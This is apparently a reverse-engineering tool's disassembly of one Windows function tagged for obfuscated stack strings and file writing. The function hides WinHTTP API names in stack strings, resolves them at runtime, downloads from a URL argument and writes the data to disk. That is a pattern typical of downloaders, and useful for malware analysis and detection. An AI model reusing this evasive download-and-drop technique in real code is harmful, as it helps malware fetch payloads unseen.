Function at 0x140004a20
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1ac0]
mov eax, 0x1bc0
call fcn.140035f90
sub rsp, rax
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp + 0x1ab0], rax
movdqa xmm0, xmmword [0x1400795c0]
xor edi, edi
movdqa xmm1, xmmword [0x140079570]
mov r15, rcx
movdqu xmmword [rbp + 0x50], xmm0
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x48], rdx
movdqa xmm0, xmmword [0x1400795b0]
lea rdx, [rbp - 0x10]
movdqu xmmword [rbp + 0x68], xmm0
mov dword [rbp - 0x20], 0x686e6977
movdqa xmm0, xmmword [0x140079580]
movdqu xmmword [rbp + 0x38], xmm0
mov dword [rbp - 0x1c], 0x2e707474
movdqa xmm0, xmmword [str.WinHttpReadData]
movdqu xmmword [rbp + 0x98], xmm0
mov dword [rbp - 0x18], 0x6c6c64
mov dword [rbp - 0x10], 0x486e6957
mov dword [rbp - 0xc], 0x4f707474
mov dword [rbp - 8], 0x6e6570
mov dword [rbp], 0x486e6957
mov dword [rbp + 4], 0x43707474
mov dword [rbp + 8], 0x656e6e6f
mov word [rbp + 0xc], 0x7463
mov byte [rbp + 0xe], dil
mov word [rbp + 0x60], 0x7473
mov byte [rbp + 0x62], dil
mov word [rbp + 0x78], 0x7473
mov byte [rbp + 0x7a], dil
mov dword [rbp + 0x48], 0x6e6f7073
mov word [rbp + 0x4c], 0x6573
mov byte [rbp + 0x4e], dil
movdqu xmmword [rbp + 0x80], xmm1
mov word [rbp + 0x90], 0x656c
mov byte [rbp + 0x92], dil
call fcn.140001884
lea rdx, [rbp]
mov rbx, rax
lea rcx, [rbp - 0x20]
call fcn.140001884
lea rdx, [rbp + 0x50]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x20]
call fcn.140001884
lea rdx, [rbp + 0x68]
mov r14, rax
lea rcx, [rbp - 0x20]
call fcn.140001884
lea rdx, [rbp + 0x38]
mov qword [rsp + 0x40], rax
lea rcx, [rbp - 0x20]
call fcn.140001884
lea rdx, [rbp + 0x98]
mov r13, rax
lea rcx, [rbp - 0x20]
call fcn.140001884
lea rdx, [rbp + 0x80]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x20]
call fcn.140001884
xor r9d, r9d
mov dword [rbp + 0x10], 0x650053
xor r8d, r8d
mov dword [rbp + 0x14], 0x750063
xor edx, edx
mov dword [rbp + 0x18], 0x650072
lea rcx, [rbp + 0x10]
mov dword [rbp + 0x1c], 0x690057
mov rsi, rax
mov dword [rbp + 0x20], 0x48006e
mov dword [rbp + 0x24], 0x540054
mov dword [rbp + 0x28], 0x2f0050
mov dword [rbp + 0x2c], 0x2e0031
mov dword [rbp + 0x30], 0x30
mov dword [rsp + 0x20], edi
call rbx
mov qword [rsp + 0x58], rax
mov r12, rax
test rax, rax
jne 0x140004c05
xor al, al
jmp 0x140004d91
mov ebx, 0x68
lea rcx, [rsp + 0x60]
mov r8d, ebx
xor edx, edx
call fcn.1400566d0
lea rax, [rbp + 0xb0]
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x78], rax
lea r9, [rsp + 0x60]
lea rax, [rbp + 0x2b0]
mov dword [rbp - 0x80], 0x100
xor r8d, r8d
mov qword [rbp - 0x58], rax
xor edx, edx
mov dword [rbp - 0x50], 0x400
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
movzx r8d, word [rbp - 0x7c]
lea rdx, [rbp + 0xb0]
xor r9d, r9d
mov rcx, r12
call qword [rbp - 0x28]
mov r15, rax
test rax, rax
jne 0x140004c79
mov rcx, r12
call rsi
jmp 0x140004bfe
cmp dword [rsp + 0x74], 2
lea r8, [rbp + 0x2b0]
mov eax, edi
lea rdx, [0x140079188]
mov ecx, 0x800000
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r15
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call r14
mov rbx, rax
test rax, rax
jne 0x140004cbc
mov rcx, r15
call rsi
jmp 0x140004c72
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
mov rcx, rax
call qword [rsp + 0x40]
test eax, eax
setne r14b
test r14b, r14b
je 0x140004cf1
xor edx, edx
mov rcx, rbx
call r13
test eax, eax
setne r14b
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140004d7f
test r14b, r14b
je 0x140004d73
mov r12, qword [rsp + 0x50]
lea r9, [rbp - 0x30]
mov r8d, 0x1000
lea rdx, [rbp + 0xab0]
mov rcx, rbx
call r12
test eax, eax
je 0x140004d6e
mov r8d, dword [rbp - 0x30]
test r8d, r8d
je 0x140004d6e
lea r9, [rbp - 0x28]
mov qword [rsp + 0x20], rdi
lea rdx, [rbp + 0xab0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x140004d2f
mov r12, qword [rsp + 0x58]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dil, r14b
mov rcx, rbx
call rsi
mov rcx, r15
call rsi
mov rcx, r12
call rsi
mov al, dil
mov rcx, qword [rbp + 0x1ab0]
xor rcx, rsp
call fcn.140036000
mov rbx, qword [rsp + 0x1c10]
add rsp, 0x1bc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret